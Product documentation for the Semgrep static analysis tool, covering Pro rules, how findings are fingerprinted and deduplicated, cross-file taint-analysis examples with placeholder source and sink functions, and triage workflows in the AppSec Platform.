To see the languages with Pro rules, go to [Supported languages](/supported-languages).
## Scan with Semgrep Pro rules
Your Semgrep AppSec Platform account already includes Pro rules that are likely to be widely useful, as they are included in the **Default** ruleset. These Pro rules run on all your scans.
**INFO**
* To make the most out of Pro rules, ensure that you are [running **cross-file analysis**](/semgrep-code/semgrep-pro-engine-intro#run-cross-file-analysis-with-semgrep-appsec-platform).
* Rules that don't apply to your target repository's language or framework are skipped automatically even if they are in your Policies page. For example, if your repository contains JavaScript code and you have added Go rules, the Go rules are unused. Unused rules do not add to scan time.
### Change rule modes or disable Pro rules in Semgrep AppSec Platform
Like any other rule or ruleset, you can disable Pro rules or change their rule mode to leave comments for developers or potentially block a PR.
Sign in to [Semgrep AppSec Platform](https://semgrep.dev/login).
Navigate to **Rules > Policies**.
Under **Source**, click **Pro ** to view all the Semgrep Pro rules currently in your Policies.
Find and select the rules you want to disable or change.
Click **Change modes** and select one of the provided options.
You can find all previously added Semgrep Pro rules in your Policies page, so if you want to re-enable Pro rules or adjust the mode again in the future, use the **Source > Pro ** filter as described previously.
### Add Semgrep Pro rules in CLI or CI
**PREREQUISITES**
For CLI users: You must be [logged in](/getting-started/cli#log-in-to-your-semgrep-account).
In some cases, you may want to run a scan with a specific set of Pro rules:
Go to [Semgrep Registry](https://semgrep.dev/r).
Click **Visibility > Pro rules**.
Optional: Apply additional filters by entering search terms in the search box or selecting filters from drop-down boxes.
For a single rule, click the **Rule's card > Run locally**. For rulesets, click the card.
Copy and paste the command to your CLI or CI configuration file. You can add several rulesets.
# Remove duplicate findings
Source: https://docs.semgrep.dev/semgrep-code/remove-duplicates
Semgrep scans are performed on both mainline (trunk) and non-mainline branches. The scope of the scan can differ depending on if Semgrep is called on a mainline or non-mainline branch.
**Full scan**
Scans the repository in its entirety. It is recommended to perform full scans on mainline branches, such as `master` or `main`. Full scans are typically performed on a scheduled basis or on merge to a default branch.
**Diff-aware scan**
Diff-aware scans are performed on non-mainline branches, such as in pull requests and merge requests. Diff-aware scans traverse the repository's files based on the commit where the branch diverged from the mainline branch.
## How Semgrep distinguishes between new and duplicate findings
Semgrep generates a finding whenever it scans a repository and one of its rules matches a piece of code. Since Semgrep usually scans a repository multiple times, it needs a way to track the same finding in a file over time. Semgrep does this using two types of fingerprints: `match_based_id` and `syntactic_id`.
**INFO**
The calculations used to determine whether findings are new are subject to change at any time as Semgrep improves its deduplication logic.
### `match_based_id`
Using the `match_based_id`, Semgrep can determine if a given finding in a file is the same as a finding identified during a different scan, even if the code snippet that the rule matched had been moved to a different location in the file. This allows Semgrep to avoid generating a new finding and to deduplicate its records accordingly, even across multiple branches associated with the project. It also means that Semgrep can cross-correlate findings, so a finding that has been triaged in one branch will be flagged as triaged if it's identified in another branch.
Semgrep generates the `match_based_id` for a finding using the following information:
* The file path
* The name of the rule that generated the finding
* The rule pattern with the metavariables' values substituted in
This information is combined and then hashed. At this point, Semgrep appends the **index**, a value generated by determining the number of times the rule involved matched code in the file. Note that the index is appended to the hash, not combined with the other finding information before hashing. This is done to preserve information on how findings are related. For example, `finding0` with `match_based_id = 123_0` and `finding1` with `match_based_id = 123_1` indicate that both were generated from the same rule matching the same code pattern in the same file.
Semgrep uses the rule pattern with the metavariables' values, which originate from the code itself, substituted in to generate match\_based\_id. Therefore, code changes that result in the same rule pattern when abstracted to the level of the rule pattern match, with the appropriate values substituted, in don't hinder Semgrep's ability to recognize that the finding isn't a duplicate of an existing finding.
For example, if the original file scanned is:
```python theme={null}
a = 1
b = 2
spcd.get("foo")
c = 3
d = 4
sink("foo")
```
The rule pattern identified and used in generating the `match_based_id` is:
```python theme={null}
spcd.get($X)
...
sink($X)
```
Which, with metavariables substituted in, becomes:
```python theme={null}
spcd.get("foo")
...
sink("foo")
```
If the following change is made to the original file:
```python theme={null}
a = 1
b = 2
spcd.get("foo")
c = 3
c_1 = 5
d = 4
sink("foo")
```
The rule pattern identified and used in generating the `match_based_id` doesn't change:
```python theme={null}
spcd.get("foo")
...
sink("foo")
```
This means that the `match_based_id` itself doesn't change, allowing Semgrep to identify that the two findings are the same and to deduplicate them. Furthermore, this process enables Semgrep to ignore lines that do not impact code function.
### `syntactic_id`
Semgrep generates the `syntactic_id` for a finding using the following information:
* The file path
* The name of the rule that generated the finding
* The code syntax, or the literal piece of code that matched the rule
* The index, a value generated by determining the number of times the rule involved matched code in the file
This information is combined and then hashed for privacy before being stored.
**INFO**
The `syntactic_id` is primarily used by Semgrep for internal debugging purposes, since no code is stored except in cases where you have provided code access permissions to Semgrep.
## Update findings by rescanning the project
Semgrep's correlation of findings across branches based on their unique fingerprint allows for automatic consolidation of findings and makes it simpler to triage findings.
If a finding is fixed in one branch (such as `main`), possibly because there hasn't been a follow-up scan on the branch, but open in another (such as `production`), and the code fixes are present in both branches, initiate scans through your CI job or SCM tool on the branches with open findings. Semgrep will reconcile the findings and mark them as fixed.
## Remove duplicate findings using Semgrep API
Semgrep API does not automatically group findings with the same match-based ID across branches. If you use Semgrep API to receive or pull findings data, set the `dedup` flag to `true` to deduplicate findings across refs or branches. Refer to [List code or supply chain findings](/api-reference/v1/findingsservice/list-code-supply-chain-or-ai-powered-scan-findings) in the Semgrep API docs for more information.
# Cross-file analysis examples
Source: https://docs.semgrep.dev/semgrep-code/semgrep-pro-engine-examples
This document provides an overview of Semgrep's proprietary cross-file (interfile) and cross-function (intrafile) taint analysis features through specific examples, such as its use in type inferences, class inheritance, constant propagation, and taint analysis.
Differences between Semgrep and Semgrep Community Edition (CE) can be observed by viewing the examples in separate Playground tabs. See the following section for more information.
Note that Semgrep cross-file analysis implies cross-function analysis as well.
## Tips and tricks for an interactive experience
The following resources can help you test the code in the sections below. As you work through the examples in this document, try the following:
* Ensure that the ** Pro** toggle is enabled on the [Playground](https://semgrep.dev/playground/new) page.
* Rules that make use of interfile analysis require the `interfile: true` key included under the `options` key.
* On the Playground, true positives that are detected by Semgrep's cross-file analysis are marked with a **purple star: **.
* Clone the [Semgrep cross-file analysis testing repository](https://github.com/semgrep/semgrep-pro-tests):
```bash theme={null}
git clone https://github.com/semgrep/semgrep-pro-tests
```
* Follow the instructions in the subsequent sections of this document using this testing repository. To run Semgrep in the cloned testing repository with cross-file (interfile) analysis, enter:
```bash theme={null}
semgrep --pro --config=pro.yaml .
```
## Taint tracking
Semgrep CE allows you to search for the flow of any potentially exploitable input into an important sink using taint mode. For more information, see the [taint mode](/writing-rules/data-flow/taint-mode/overview) documentation.
In the examples below, see a comparison of Semgrep and Semgrep CE while searching for dangerous calls using data obtained `get_user_input` call. The rule does this by specifying the source of taint as `get_user_input(...)` and the sink as `dangerous(...);`.
### Java
Semgrep matches `dangerous(βSelect * from β + user_input)`, because `user_input` is obtained by calling `get_user_input`. However, on Semgrep CE, it does not match the similar call using `still_user_input`, because its analysis does not cross function boundaries to know that `still_user_input` is a wrapper function for `user_input`.
Semgrep matches both dangerous calls because it does cross function boundaries. In fact, the taint rule can track calls to `get_user_input` over multiple jumps in multiple files.
**TRY IT OUT**
* Turn on the ** Pro** toggle in the following link to an [example of dangerous taint](https://semgrep.dev/playground/s/J0dQ) rule.
* To run Semgrep in the cloned [testing repository](https://github.com/semgrep/semgrep-pro-tests), go to `docs/taint_tracking/java` and run the following command:
```bash theme={null}
semgrep --config pro.yaml . --pro
```
### JavaScript and TypeScript
Here, Semgrep CE matches `dangerous(βSelect * from β + user_input)`, because `user_input` is obtained by calling `get_user_input`. However, Semgrep CE does not match the similar call using `still_user_input`, because its analysis does not cross function boundaries to know that `still_user_input` is a wrapper function for `user_input`.
Semgrep matches both dangerous calls because it does cross function boundaries. In fact, with Semgrep Pro, the taint rule can track calls to `get_user_input` over multiple jumps in multiple files.
You can run JavaScript examples in your cloned [Semgrep testing repository](https://github.com/semgrep/semgrep-pro-tests) by going to `docs/taint_tracking/javascript` and running the following command:
```bash theme={null}
semgrep --config pro.yaml . --pro
```
#### ES6 and CommonJS
The JavaScript and TypeScript ecosystems contain various ways for importing and exporting code. Semgrep can track dataflow through ES6 imports or exports and some CommonJS export paths. See [Known limitations of cross file analysis](/semgrep-code/semgrep-pro-engine-intro#known-limitations-of-cross-file-analysis).
##### ES6
Semgrep can track data through the definition of exports for ES6:
```js theme={null}
export function readUser() {
return get_user_input("example")
}
```
Semgrep can follow the dataflow when it is imported into another location:
```js theme={null}
readUser()
```
##### CommonJS
Semgrep can track data through the definition of exports for CommonJS when the function is defined inline:
```js theme={null}
module.exports = function get_user() {
return get_user_input("example")
}
```
Semgrep is able to follow the dataflow when it is required in another location:
```js theme={null}
const readUser = require("./commonjs/common")
readUser()
```
You can run examples in your cloned [Semgrep testing repository](https://github.com/semgrep/semgrep-pro-tests) by going to `docs/taint_tracking/imports` and running the following command:
```bash theme={null}
semgrep --config pro.yaml . --pro
```
## Type inference and class inheritance
### Class inheritance
This section compares the possible findings of a scan across multiple files using Semgrep CE and Semgrep. The file `app.java` includes two check functions that throw exceptions. This example looks for methods that throw a particular exception, `ExampleException`.
When using this rule, Semgrep CE matches code that throws `ExampleException` but not `BadRequest`. Check other files in the `docs/class_inheritance` directory. In the context of all files, you can find that this match does **not** capture the whole picture. The `BadRequest` extends `ExampleException`:
File `example_exception.java`:
```java theme={null}
package example;
public class ExampleException extends Exception {
public ExampleException(String exception) {
super(exception);
}
}
```
File `bad_request.java`:
```java theme={null}
package example;
class BadRequest extends ExampleException {
public BadRequest(String exception) {
super(exception);
}
}
```
Where `ExampleException` is thrown, it is also good to find `BadRequest`, because `BadRequest` is a child of `ExampleException`. Unlike Semgrep CE, Semgrep can find `BadRequest`. Since Semgrep uses information from all the files in the directory it scans, it detects `BadRequest` and finds both thrown exceptions.
If you are following along with the cloned [Semgrep testing repository](https://github.com/semgrep/semgrep-pro-tests), in the `docs/class_inheritance` directory, try the following commands to test the difference:
1. Run Semgrep CE:
```bash theme={null}
semgrep --config pro.yaml .
```
2. Run Semgrep:
```bash theme={null}
semgrep --config pro.yaml . --pro
```
### Using class inheritance with typed metavariables
Semgrep uses cross-file class inheritance information when matching [typed metavariables](/writing-rules/pattern-syntax/#typed-metavariables). Continuing the example from the previous section, see the following example file, which has defined some exceptions and includes their logging:
The rule searches for any variable of type `ExampleException` being logged. Semgrep CE is **not** able to find instances of `BadRequest` being logged, unlike Semgrep. Allowing typed metavariables to access information from the entire program enables users to query any variable for its type and use that information in conjunction with the rest of the code resulting in more accurate findings.
**NOTE**
For a more realistic example where typed metavariables are used, see the following [rule written by the Semgrep community](https://semgrep.dev/playground/s/o9l6) to find code vulnerable to the log4j vulnerability.
To test this example in the cloned [Semgrep testing repository](https://github.com/semgrep/semgrep-pro-tests), run Semgrep by going to `docs/class_inheritance_with_typed_metavariables` and entering the following command:
```bash theme={null}
semgrep --config pro.yaml . --pro
```
## Constant propagation
### Finding dangerous calls
[Constant propagation](/writing-rules/pattern-syntax/#constants) provides a syntax for eliminating false positives in Semgrep rules. Even if a variable is set to a constant before being used in a function call several lines below, Semgrep knows that it must have that value and matches the function call. For example, this rule looks for non-constant values passed to the `dangerous` function:
#### Java
Semgrep CE matches the first and second calls as it cannot find a constant value for either `user_input` or `EMPLOYEE_TABLE_NAME`.
Now consider an example a bit more complicated to illustrate what Semgrep can do. If the `EMPLOYEE_TABLE_NAME` is imported from a global constants file with the following content:
Global constants file:
```java theme={null}
package com.main;
public final class Constants {
public static final double PI = 3.14159;
public static final double PLANCK_CONSTANT = 6.62606896e-34;
public static final String EMPLOYEE_TABLE_NAME = "Employees";
}
```
Semgrep matches the first call without any change to the rule.
To test this through the cloned [Semgrep testing repository](https://github.com/semgrep/semgrep-pro-tests), go to `docs/constant_propagation_dangerous_calls` and run the following command:
```bash theme={null}
semgrep --config pro.yaml . --pro
```
#### JavaScript and TypeScript
Semgrep matches the first and second calls because Semgrep cannot find a constant value for either `user_input` or `EMPLOYEE_TABLE_NAME`.
Now consider an example a bit more complicated to illustrate what Semgrep can do. If the `EMPLOYEE_TABLE_NAME` is imported from a global constants file with the following content:
Global constants file:
```js theme={null}
export const PI = 3.14159;
export const PLANCK_CONSTANT = 6.62606896e-34;
export const EMPLOYEE_TABLE_NAME = "Employees";
```
Semgrep matches the first call without any change to the rule.
To test this in the cloned [Semgrep testing repository](https://github.com/semgrep/semgrep-pro-tests), go to `docs/constant_propagation_dangerous_calls` and run the following command:
```bash theme={null}
semgrep --config pro.yaml . --pro
```
### Propagating values
In the previous example, it only mattered whether the string was constant or not, so the example used `β...β`, but constant propagation also propagates the constant value. To illustrate the use of Semgrep with constant propagation, the rule from the previous section is changed to search for calls to `dangerous("Employees");`.
#### Java
With Semgrep, this rule matches the last three calls to `dangerous`, since these calls are selected from the `Employees` table, though each one obtains the table name differently.
To test this in the cloned [Semgrep testing repository](https://github.com/semgrep/semgrep-pro-tests), go to `docs/constant_propagation_propagating_values` and run the following command:
```bash theme={null}
semgrep --config pro.yaml . --pro
```
#### JavaScript and TypeScript
With Semgrep, this rule matches the last three calls to `dangerous`, since these calls are selected from the `Employees` table, though each one obtains the table name differently.
To test this in the cloned [Semgrep testing repository](https://github.com/semgrep/semgrep-pro-tests), go to `docs/constant_propagation_propagating_values` and run the following command:
```bash theme={null}
semgrep --config pro.yaml . --pro
```
# Perform cross-file analysis
Source: https://docs.semgrep.dev/semgrep-code/semgrep-pro-engine-intro
Use Semgrep Code's **cross-file (interfile) analysis** to detect vulnerabilities across files and folders within a project.
By design, Semgrep open source software, Semgrep Community Edition (CE) can only analyze interactions within a single function, also known as **intraprocedural analysis**. This limited scope makes Semgrep CE fast and easy to integrate into developer workflows.
Semgrep Code runs **cross-function (interprocedural)** analysis by default, and gives security teams the option to trade off speed for better results and deeper analysis with **cross-file analysis**. By analyzing interactions across files and functions, Semgrep Code can reduce noise, uncover new vulnerabilities, and make results easier to understand.
**LANGUAGE SUPPORT**
Refer to [ Supported languages](/supported-languages) to see languages supported by Semgrep Code.
## Run cross-file analysis
This section guides you through installing the proprietary cross-file (interfile) analysis binary and helps you to scan your projects both in CLI and with Semgrep AppSec Platform.
### Run cross-file analysis with Semgrep AppSec Platform
**PREREQUISITE**
You have completed a [Semgrep core deployment](/deployment/core-deployment).
This is the preferred method to run cross-file analysis. It enables you to view and triage your findings from a centralized location. Your source code is not uploaded.
Sign in to [ Semgrep AppSec Platform](https://semgrep.dev/login).
Go to **[Settings > General > Code](https://semgrep.dev/orgs/-/settings/general/code)**.
Click the **Cross-file analysis** toggle to turn on this feature.
Ensure that you have the **default ruleset** added in your **[Policies page](https://semgrep.dev/orgs/-/policies)**. If this ruleset is **not** added, go to [ Semgrep Registry - Default ruleset page](https://semgrep.dev/p/default), then click **Add to Policy**. For best results, set this ruleset to the **Monitor** rule mode.
**Full scans** now include cross-file analysis. You can trigger a full scan through your CI provider. Note that cross-file analysis does **not** currently run on diff-aware (pull request or merge request) scans.
### Run cross-file analysis in the CLI
**PREREQUISITE**
* Local installation of Semgrep CLI. See [ Getting started with Semgrep](/getting-started/quickstart) to install Semgrep CLI.
Sign up or sign in to [ Semgrep AppSec Platform](https://semgrep.dev/login).
For first-time users, click **Create an organization**. Note that you can further integrate organizations (orgs) with GitLab accounts and GitHub accounts, including personal and org accounts, after you complete this procedure.
Go to **[Settings > General > Code](https://semgrep.dev/orgs/-/settings/general/code)**.
Click the **Cross-file analysis** toggle to turn on this feature.
Ensure that you are in the **root directory** of the repository you want to scan.
In your CLI, log in to your Semgrep AppSec Platform account and run a scan:
```bash theme={null}
semgrep login && semgrep ci
```
#### Update cross-file analysis in the CLI
Cross-file analysis uses a separate `semgrep` binary. To update to the latest version, follow these steps:
Update your Semgrep CLI tool with the following command:
Use pipx ([https://pipx.pypa.io/stable/how-to/install-pipx/](https://pipx.pypa.io/stable/how-to/install-pipx/)) or uv ([https://docs.astral.sh/uv/](https://docs.astral.sh/uv/)):
```bash theme={null}
pipx upgrade semgrep
# or
uv tool upgrade semgrep
```
Alternatively, use Homebrew:
```bash theme={null}
# best-effort: install through Homebrew (maintained on a best-effort basis; often lags behind the latest release)
brew upgrade semgrep
```
Using pipx ([https://pipx.pypa.io/stable/how-to/install-pipx/](https://pipx.pypa.io/stable/how-to/install-pipx/)) or uv ([https://docs.astral.sh/uv/](https://docs.astral.sh/uv/)):
```bash theme={null}
pipx upgrade semgrep
# or
uv tool upgrade semgrep
```
```bash theme={null}
# ensure that you have Python 3.9 or later installed
# before proceeding
pipx upgrade semgrep
# or
uv tool upgrade semgrep
```
```bash theme={null}
docker pull semgrep/semgrep:latest
```
Log in to Semgrep AppSec Platform:
```bash theme={null}
semgrep login
```
Update the Semgrep cross-file binary:
```bash theme={null}
semgrep install-semgrep-pro
```
### Write rules that analyze across files and functions
To create rules that analyze across files and functions, add `interfile: true` under the `options` key when defining a rule. This key tells Semgrep to use the rule for both cross-function and cross-file analysis.
#### Cross-function example
The following example shows how to define the `interfile` key (see the **Rule** pane) and the resulting cross-function analysis in the **Test code** pane.
Click ** Run** to see the true positive in lines 27-30.
Semgrep Code performed cross-function analysis as the `userInput()` source was called in `main()` while the `exec()` sink was called in the `DockerCompose` class.
Interact with the rule widget to compare Semgrep Community Edition (CE) and Semgrep Code. In the **Rule** pane, you can remove the lines:
```yaml theme={null}
options:
interfile: true
```
This results in a failure to detect the true positive, because Semgrep did not perform cross-function analysis.
## Known limitations of cross-file analysis
### CommonJS
Currently Semgrep's cross-file analysis does not handle specific cases of CommmonJS where you define a function and assign it to an export later. Cross-file analysis does not track the code below:
```js theme={null}
function get_user() {
return get_user_input("example")
}
module.exports = get_user
```
### Regressions in cross-file analysis
Cross-file analysis resolves names differently than Semgrep CE's analysis. Consequently, rules with `interfile: true` may produce different results than Semgrep CE. Some instances could be regarded as regressions; if you encounter them, please file a bug report. When you need to report a bug in Semgrep's cross-file analysis, go through [Semgrep Support](/support). You can also contact us through [Semgrep Community Slack group](https://go.semgrep.dev/slack).
## Appendix
### Types of Semgrep Code analysis
**Cross-file (interfile) analysis**
* Cross-file analysis finds patterns spanning multiple files within a project to help security engineers deeply understand their organization's security issues. This analysis reduces noise and detects issues that Semgrep CE can't find.
* Cross-file analysis runs on full scans. These scans may take longer to complete and can use more memory than Semgrep CE scans. See the available languages for cross-file analysis in [Supported languages](/supported-languages/#semgrep-pro-engine).
* In Semgrep Code, cross-file analysis includes cross-function analysis as well.
**Cross-function (interprocedural) analysis**
* Cross-function analysis finds patterns within a single file spanning code blocks and functions.
* Semgrep Code scans run cross-function analysis by default.
* See an example of cross-function analysis in [Semgrep Code cross-function example](#pro-engine-cross-function-example).
* See the available languages for cross-function analysis in [ Supported languages](/supported-languages/#semgrep-pro-engine).
#### Semgrep Code cross-file CI scan issues
To provide reliably completed scans, Semgrep Code can **fall back** from cross-file analysis to single-file analysis. This ensures that in the vast majority of cases, scans run successfully.
By default, if a scan uses more than **5 GB** of memory during cross-file pre-processing, the scan uses single-file analysis to ensure lower memory consumption. Similarly, if a cross-file scan doesn't complete after 3 hours, the analysis times out and Semgrep re-scans the repository using single-file analysis. Typically, this happens because the repository is very large.
If 1-2 repositories cause CI scan issues and scanning these repositories with interfile analysis is not critical, modify your configuration file to use `semgrep ci --pro-intrafile`. This overrides the Semgrep AppSec Platform setting for these repositories, and always runs these scans with single-file, cross-function analysis.
If many repositories cause scan issues, or you have critical repositories you are unable to scan with Semgrep's interfile analysis:
Disable the **Cross-file analysis** toggle in the **[Settings > General > Code](https://semgrep.dev/orgs/-/settings/general/code)** page of your organization.
Review scan troubleshooting guides such as [A Semgrep scan is having a problem - what next?](/kb/semgrep-code/semgrep-scan-troubleshooting) or [Troubleshooting "You are seeing this because the engine was killed."](/kb/semgrep-code/scan-engine-kill)
If you need additional guidance, [contact Semgrep Support](/support), or reach out to the Semgrep team in the Semgrep Community Slack so we can help you resolve the issue and create a plan for your organization.
### Difference between cross-file analysis and join mode
Cross-file analysis is different from [join mode](/writing-rules/experiments/join-mode/overview), which also allows you to perform cross-file analyses by letting you join on the metavariable matches in separate rules. Join mode is an experimental feature which is not actively developed or maintained. You may encounter many issues while using join mode.
### Feedback for Semgrep Code's advanced analyses
The team at Semgrep is excited to hear what's on your mind. As you explore these features, we want to know what you'd like to be able to capture with it. We believe that this deeper analysis helps users find more vulnerabilities, build trust with developers, and enforce code standards quickly. Let us know what you think about the results in the Semgrep Community Slack.
# Triage and remediate findings
Source: https://docs.semgrep.dev/semgrep-code/triage-remediation
This article shows you how to manage and triage findings identified by Semgrep Code using Semgrep AppSec Platform. The specific actions available to you when managing your findings include:
* **Fixing the issue detected.** This is Semgrep's primary goal. If the rule produces a **true positive** finding, the code must be updated or refactored so that the Semgrep rule pattern no longer matches it. Developers can refactor code manually based on Semgrep's suggestions, or use [Semgrep's **Autofix**](/semgrep-code/triage-remediation/autofix), a feature that uses AI to automatically generate proposed code changes for findings.
* **Triaging the finding.** Deprioritize a finding if it's not helpful or important through triage. Triage actions include ignoring and reopening a previously ignored finding. Triaging a finding to **ignore** is one method to handle **false positives** without changing a rule or your code.
* **Removing the rule or code that generated the finding.** There are cases where Semgrep scans a file it should ignore or scans the file with an irrelevant rule. You can [disable the rule](/semgrep-code/policies#disable-rules) from the **Policies** page or [add the file to the ignore list](/ignoring-files-folders-code).
## Semgrep Multimodal
If you have Semgrep Multimodal enabled, you receive AI-powered security recommendations to help you review, triage, fix, and remediate your Semgrep findings:
* [Remediation advice](/semgrep-multimodal/overview#remediation) shown in Semgrep AppSec Platform, including:
* [Guidance](/semgrep-multimodal/overview#guidance) with step-by-step instructions on how to remediate the finding identified by Semgrep Code in every pull request (PR) or merge request (MR) comment Semgrep pushes.
* [Suggested fix](/semgrep-multimodal/overview#suggested-fix) highlights the affected code and explains how to remediate the finding.
* [Component tagging](/semgrep-multimodal/overview#component-tags) to help identify high-priority issues
Semgrep Multimodal can also [autotriage findings](/semgrep-multimodal/overview#autotriage), suggest whether a finding can safely be ignored, and [filter out potential false positives](/semgrep-multimodal/overview#noise-filtering-beta) to help increase developer velocity.
## Autofix findings
Autofix uses AI to generate proposed code changes for Semgrep Code findings. Use it when you want Semgrep to open a draft PR with the changes implemented. You remain in full control over reviewing and merging the PR.
For details and workflow steps, see [Autofix](/semgrep-code/triage-remediation/autofix).
## Triage statuses
**Triage** is the prioritization of a finding based on policies or criteria set by your team or organization, such as severity, coding standards, business goals, and product goals.
Semgrep AppSec Platform uses the logic specified in the table below to automatically mark findings as either fixed or removed when they are no longer present in the code. Additionally, Semgrep can automatically mark findings as **provisionally ignored** based on AI analysis, validation results, and reachability analysis.
You can manually **Ignore** findings or set them as **To fix** or **Reviewing** in Semgrep AppSec Platform directly through **triage** or **bulk triage** actions.
The triage statuses are as follows:
| Status | Description |
| :------------------------ | :-------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
| **Open** | Findings are open by default. A finding is open if it was present the last time Semgrep scanned the code and has not been ignored. An open finding represents a match between the code and a rule enabled in the repository. Open findings require action, such as rewriting the code to eliminate the detected vulnerability. |
| **Reviewing** | Indicates that the finding requires investigation to determine what the next steps in the triage process should be. |
| **Provisionally ignored** | Rule-based Semgrep Code findings that Semgrep Multimodal's [Autotriage](/semgrep-multimodal/overview#autotriage) has flagged as likely false positives. You can change the status to **Ignored** if you agree with Multimodal's assessment. Otherwise, you can change the status to **To fix** if you disagree.
**Note**: [AI-powered detection](/semgrep-code/ai-powered-detection-concepts) findings remain **Open** even when Multimodal flags them as false positives. They are **not** automatically set to **Provisionally ignored**; change the status to **Ignored** if you want to dismiss them. |
| **To fix** | Findings that you have decided to fix. Commonly used to indicate that these findings are tracked in Jira or assigned to developers for further work. |
| **Fixed** | Fixed findings were detected in a previous scan but are no longer detected in the most recent scan of that same branch due to changes in the code. |
| **Ignored** | Findings marked as ignored are present in the code but have been labeled unimportant. Ignore false positives or deprioritized issues. Mark findings as [ignored through Semgrep AppSec Platform](/semgrep-code/triage-remediation) or by adding a [nosemgrep code comment](/ignoring-files-folders-code/#reference-summary). You can also provide a reason for ignoring a finding: **False positive**, **Acceptable risk**, **No time to fix**. |
| **Closed** | Vulnerabilities that are no longer detected after a scan. This can be due to changes in the underlying rule or the code. |
### Removed findings
Findings can also be **removed**. Semgrep considers a finding removed if it is not found in the most recent scan of the branch where Semgrep initially detected it due to any of the following conditions:
* The rule that detected the finding is no longer enabled in the policy.
* The rule that detected the finding was updated in a way that it no longer detects the finding.
* The file path where the finding appeared is no longer found. The file path was deleted, renamed, added to a `.semgrepignore` file, added to a `.gitignore` file, or added to the list of ignored paths in Semgrep AppSec Platform.
* For GitHub organization accounts: the pull request or merge request where the finding was detected has been closed without merging.
Your removed findings do not count toward the fix rate or the number of findings. The removed findings also do not appear in Semgrep AppSec Platform.
### Triage behavior across refs and branches
* When you triage a finding as ignored, reviewing, fixing, or reopened, Semgrep always triages across other branches and [Git references](https://git-scm.com/book/en/v2/Git-Internals-Git-References) (refs).
* At scan time, there's automatic triaging that occurs in specific cases, and the behavior changes depending on the type of scan:
* **Full scans**: if the current branch includes a finding that was
* Previously introduced in another branch ***and***
* Triaged to a specific state\
**Then** the finding in the current branch is triaged to that same state.
* **Diff-aware scan**: findings introduced in a diff-aware scan are **not** automatically triaged at scan time, even if there are other instances of that finding on branches that have been triaged.
## Triage and remediation
The following sections show you how to manage your findings by:
* Fixing the underlying code
* Disabling a rule or a ruleset
* Ignoring a finding
* Reopening a finding
Note that some actions, such as ignoring and reopening findings, require different steps based on whether you have chosen **Group by Rule** or **No Grouping** when viewing your results on the **Findings** page.
## Review provisionally ignored findings
If you have Semgrep Multimodal enabled, review the findings that have been **provisionally ignored**. These are rule-based Semgrep Code findings that Semgrep Multimodal's [Autotriage](/semgrep-multimodal/overview#autotriage) has flagged as likely false positives. For each finding, you can change the status to **Ignored** if you agree with Multimodal's assessment. Otherwise, you can change the status to **To fix** if you disagree.
Findings with a status of **provisionally ignored** block pull requests and merge requests if the matching rule is included in a blocking policy.
**AI-powered detection findings and Provisionally ignored**
Only rule-based Semgrep Code findings are moved to **Provisionally ignored**. [AI-powered detection](/semgrep-code/ai-powered-detection-concepts) findings remain **Open** even when Multimodal flags them as false positives. To dismiss them, change the status to **Ignored** with reason **False positive**.
To list AI-powered detection findings that Multimodal flagged as likely false positives, go to [**Code**](https://semgrep.dev/orgs/-/findings?tab=open), apply the **AI-powered scan finding** filter, and then check the box next to **False positives** in the **Autotriage** filter.
### Ignore findings
To handle **false positives** without changing the rule or your code, set the finding's triage status to **ignore**.
To **ignore findings** in the **Group by Rule** view:
Go to [**Code > All**](https://semgrep.dev/orgs/-/findings?tab=open), and ensure that your filters are set to display all **Open** findings.
Perform one of these steps:
* To select all findings for the same rule, select the first checkbox on the finding's card, then click **Triage > Ignored**.
* To select individual findings reported by a rule, fill in the checkboxes of the finding, and then click **Triage > Ignored**.
Select **Ignore reason**, and optionally, provide **Comments** to describe why the finding was ignored.
Click **Submit**.
To **ignore individual findings** in the **No grouping** view, follow these steps:
Go to [Code > All](https://semgrep.dev/orgs/-/findings?tab=open), and ensure that your filters are set to display all **Open** findings.
Select the checkbox next to a finding you want to ignore, and click **Triage > Ignored**.
Select **Ignore reason**, and optionally, provide **Comments** to describe why the finding was ignored.
Click **Submit**.
To **ignore multiple findings** in the **No grouping** view, follow these steps:
Go to [Code > All](https://semgrep.dev/orgs/-/findings?tab=open), and ensure that your filters are set to display all **Open** findings.
Perform one of these steps:
* Select all findings on the page displayed by clicking on the header row checkbox that states **X matching findings**. You can navigate to succeeding pages and add other results to the current selection.
* Select all findings of interest by clicking on their checkboxes.
Click **Triage > Ignored**.
Select **Ignore reason**, and optionally, provide **Comments** to describe why the findings were ignored.
Click **Submit**.
### Reopen findings
You can **reopen** a finding at any time, whether you previously marked it as **ignored** or Semgrep automatically marked it as **provisionally ignored**.
To **reopen findings** in the **Group by Rule** view, follow these steps:
Go to [Code > All](https://semgrep.dev/orgs/-/findings?tab=open), and ensure that your filters are set to display all **Ignored**, **Provisionally Ignored**, or **Fixed** findings.
Perform one of these steps:
* To select all findings for the same rule, select the first checkbox on the finding's card, then click **Triage > Open**.
* To select individual findings reported by a rule, fill in the checkboxes of the finding, and then click **Triage > Open**.
Optional: Write a reason to describe why the finding was reopened.
Click **Submit**.
To **reopen individual findings** in the No grouping view, follow these steps:
Go to [Code > All](https://semgrep.dev/orgs/-/findings?tab=open), and ensure that your filters are set to display all **Ignored**, **Provisionally Ignored**, or **Fixed** findings.
Select the checkbox next to a finding you want to reopen. Click **Triage > Open**.
Optional: Write a reason to describe why the finding was reopened.
Click **Submit**.
To **reopen multiple findings** in the **No grouping** view, follow these steps:
Go to [Code > All](https://semgrep.dev/orgs/-/findings?tab=open), and ensure that your filters are set to display all **Ignored**, **Provisionally Ignored**, or **Fixed** findings.
Perform one of these steps:
* Select all findings on the page displayed by clicking on the header row checkbox that states **X matching findings**. You can navigate to succeeding pages and add other results to the current selection.
* Select all findings of interest by clicking on their checkboxes.
Click **Triage > Open**.
Optional: Write a reason to describe why the finding was reopened.
Click **Submit**.
### Turn off a ruleset or a rule
You can turn off a specific rule or ruleset to prevent Semgrep Code from using it when scanning your codebase.
**INFO**
When you turn off a rule, existing findings from that rule remain open until you re-scan your code.
To disable a **rule**:
Go to the [**Policies** page](https://semgrep.dev/orgs/-/policies) and select either:
* The top **Matching Rules** checkbox to select all rules.
* Individual checkboxes next to a rule to turn off rules one by one.
Click **Change modes**, then click **Disabled**.
You can also set the state in the **Mode** column to **Disabled** for individual rules.
To turn off a **ruleset** using the Policies page:
Go to the [**Policies** page](https://semgrep.dev/orgs/-/policies).
Use the Ruleset filter's drop-down box to find and click the ruleset to remove.
